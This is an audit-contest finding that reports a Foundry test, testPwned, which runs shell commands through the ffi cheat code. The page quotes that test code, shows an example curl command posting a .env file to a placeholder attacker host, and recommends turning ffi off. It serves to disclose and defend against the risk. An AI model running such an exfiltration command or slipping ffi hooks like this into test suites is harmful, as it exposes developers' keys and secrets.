Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Malicious Test potentially allowing data extraction from the user running it

Summary

The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware.

Vulnerability Details

This is the malicious test, it looks inoffensive as it just create a file called youve-been-pwned-remember-to-turn-off-ffi! but there is no underlying reason for this test to be here except a malicious behavior.

function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned-remember-to-turn-off-ffi!");
cheatCodes.ffi(cmds);
}

A more alarming scenario is demonstrated in the following proof of concept, where the protocol's private key could be compromised with something like:

curl -d @.env https://<HACKER_IP>/steal-secrets

Impact

This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information.

The test, as it stands, is harmful, as it is used in a security contexts, but it is assumed that the general purpose of this functionality is to be harmful.

Tools Used

Manual Review

Recommendations

Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

Ensure that ffi is disabled by default in foundry.toml and that no test cases or other functionality rely on ffi to be enabled.

-ffi = true
+ffi = false
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

testPwned: ffi enabled for test

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.